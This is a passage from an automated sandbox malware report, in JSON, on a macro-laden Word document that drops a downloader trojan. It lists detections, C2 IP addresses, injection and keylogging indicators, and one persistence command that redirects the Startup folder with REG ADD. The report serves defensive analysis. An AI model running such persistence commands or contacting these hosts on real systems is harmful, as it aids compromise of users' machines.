to \"134.0.11.201\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"spolsve.exe\" called \"FindFirstFileW\" with parameter %APPDATA%\\Microsoft\\Windows\\Templates\\*.* (UID: 00000000-00002996)\n \"spolsve.exe\" called \"FindNextFileW\" with parameter .. (UID: 00000000-00002996)\n \"spolsve.exe\" called \"FindNextFileW\" with parameter spolsve.exe (UID: 00000000-00002996)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$43","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"81275,1200,3024,,RtlGetVersion,NTDLL.dll,\"252:03:39.890\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"00000000-00002996.00000001.69499.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$48","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$49","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"WINWORD.EXE\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002692)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"spolsve.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4c","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops cabinet archive files","description":"\"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002692]\n \"Cab24D1.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%TEMP%\\Cab24D1.tmp]- [targetUID: 00000000-00002692]","origin":"Binary File","mitre_attack_id":"T1560","relevance":10,"id":"binary-5","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"Liebert.bmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\Liebert.bmp]- [targetUID: 00000000-00002996]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002692]\n Dropped file: \"file.LNK\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\file.LNK]- [targetUID: 00000000-00002692]\n Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002692]\n Dropped file: \"index.dat\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\index.dat]- [targetUID: 00000000-00002692]\n Dropped file: \"ExcludeDictionaryEN0409.lex\" - Location: [%APPDATA%\\Microsoft\\UProof\\ExcludeDictionaryEN0409.lex]- [targetUID: 00000000-00002692]\n Dropped file: \"spolsve.exe\" - Location: [%APPDATA%\\Microsoft\\Windows\\Templates\\spolsve.exe]- [targetUID: 00000000-00002996]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"Liebert.bmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\" and extension \"bmp\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"14/90 reputation engines marked \"http://adodb.stream\" as malicious (15% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"38/62 Antivirus vendors marked sample as malicious (61% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceA@KERNEL32.DLL at 00000000-00002996-13423-380-00416978\n FindResourceA@KERNEL32.DLL at 00000000-00002996-13423-861-0040206F\n FindResourceA@KERNEL32.DLL at 00000000-00002996-13423-222-00414EA0\n FindResourceA@KERNEL32.DLL at 00000000-00002996-13423-439-0041919C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"tlworker.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%ALLUSERSPROFILE%\\a7963\\tlworker.exe]- [targetUID: 00000000-00003576]\n \"Liebert.bmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\Liebert.bmp]- [targetUID: 00000000-00002996]\n \"spolsve.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%APPDATA%\\Microsoft\\Windows\\Templates\\spolsve.exe]- [targetUID: 00000000-00002996]\n \"TEMP_1_.so\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"spolsve.exe\" wrote 3072 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Liebert.bmp\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...\n \"spolsve.exe\" wrote 4096 bytes starting with PE header signature to file \"C:\\ProgramData\\a7963\\tlworker.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"186.122.150.107\"\n Potential IP \"186.122.150.107\" found in string \"Host: 186.122.150.107\"\n \"86.122.150.107\"\n \"6.122.150.107\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 134.0.11.201 on port 443 is sent without HTTP header\n TCP traffic to 186.122.150.107 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoA@USER32.DLL at 00000000-00002996-13423-445-004027D4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to hook/unhook windows functions","description":"UnhookWindowsHookEx@USER32.DLL at 00000000-00002996-13423-230-00411F40\n UnhookWindowsHookEx@USER32.DLL at 00000000-00002996-13423-1016-00412180\n SetWindowsHookExA@USER32.DLL at 00000000-00002996-13423-210-00411B10\n SetWindowsHookExA@USER32.DLL at 00000000-00002996-13423-394-00417794\n SetWindowsHookExA@USER32.DLL at 00000000-00002996-13423-81-00415A83\n UnhookWindowsHookEx@USER32.DLL at 00000000-00002996-13423-384-004177E0\n CallNextHookEx@USER32.DLL at 00000000-00002996-13423-207-00413170\n CallNextHookEx@USER32.DLL at 00000000-00002996-13423-768-0041759E\n CallNextHookEx@USER32.DLL at 00000000-00002996-13423-1041-00415E13\n SetWindowsHookExA@USER32.DLL at 00000000-00002996-13423-1015-00412073\n CallNextHookEx@USER32.DLL at 00000000-00002996-13423-232-00411A60","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1056.001","relevance":5,"id":"stream-107","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to terminate a process","description":"TerminateProcess@KERNEL32.DLL at 00000000-00002996-13423-30-00409EE1\n ExitProcess@KERNEL32.DLL at 00000000-00002996-13423-106-00409DDD\n TerminateProcess@KERNEL32.DLL at 00000000-00003576-18544-32-00406ECA\n ExitProcess@KERNEL32.DLL at 00000000-00003576-18544-6-00405261\n TerminateProcess@KERNEL32.DLL at 00000000-00003576-18544-12-00404660","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1489","relevance":1,"id":"stream-88","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"System Security","name":"Uses REG.EXE to add/load/import registry data","description":"Process \"reg.exe\" with commandline \"REG ADD \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\\\\a7963\" (UID: 00000000-00003944)","origin":"Monitored Target","mitre_attack_id":"T1112","relevance":7,"id":"target-121","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"Found suspicious keyword \"Open\" which indicates: \"May open a file\"\n Found suspicious keyword \"Write\" which indicates: \"May write to a file (if combined with Open)\"\n Found suspicious keyword \"ADODB.Stream\" which indicates: \"May create a text file\"\n Found suspicious keyword \"SaveToFile\" which indicates: \"May create a text file\"\n Found suspicious keyword \"Shell\" which indicates: \"May run an executable file or a system command\"\n Found suspicious keyword \"WScript.Shell\" which indicates: \"May run an executable file or a system command\"\n Found suspicious keyword \"CreateObject\" which indicates: \"May create an OLE object\"\n Found suspicious keyword \"Microsoft.XMLHTTP\" which indicates: \"May download files from the Internet\"\n Found suspicious keyword \"Chr\" which indicates: \"May attempt to obfuscate specific strings (use option --deobf to deobfuscate)\"","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"\"TEMP_1_.so\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: msoffice/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"38/62 Antivirus vendors marked sample as malicious (61% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"59/70 Antivirus vendors marked dropped file \"tlworker.exe\" as malicious (classified as \"TrojanDownloader.Deyma\" with 84% detection rate)\n 59/70 Antivirus vendors marked dropped file \"spolsve.exe\" as malicious (classified as \"TrojanDownloader.Deyma\" with 84% detection rate)\n 59/70 Antivirus vendors marked dropped file \"TEMP_1_.so\" as malicious (classified as \"TrojanDownloader.Deyma\" with 84% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"59/70 Antivirus vendors marked spawned process \"spolsve.exe\" (PID: 2996) as malicious (classified as \"TrojanDownloader.Deyma\" with 84% detection rate)\n 59/70 Antivirus vendors marked spawned process \"spolsve.exe\" (PID: 3576) as malicious (classified as \"TrojanDownloader.Deyma\" with 84% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the application program directory (%ProgramData%)","description":"File type \"PE32 executable (GUI) Intel 80386 for MS Windows\" was dropped at \"%ALLUSERSPROFILE%\\a7963\\tlworker.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-27","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"spolsve.exe\" set thread context in remote process \"%APPDATA%\\Microsoft\\Windows\\Templates\\spolsve.exe\" (PID: 00000df8)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"spolsve.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\spolsve.exe\" (Handle: 192)\n \"spolsve.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\spolsve.exe\" (Handle: 192)\n \"spolsve.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\spolsve.exe\" (Handle: 192)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"Document_Open\" which indicates: \"Runs when the Word or Publisher document is opened\"","origin":"Static Parser","mitre_attack_id":"T1137","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded string that indicates auto-execute behavior","description":"Found keyword \"Document_Open\" which indicates: \"Runs when the Word or Publisher document is opened\"","origin":"File/Memory","relevance":10,"id":"string-20","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"WINWORD.EXE\" with commandline \"/n \"C:\\\\file.doc\"\" (UID: 00000000-00002692)\n Spawned process \"spolsve.exe\" (UID: 00000000-00002996)\n Spawned process \"spolsve.exe\" (UID: 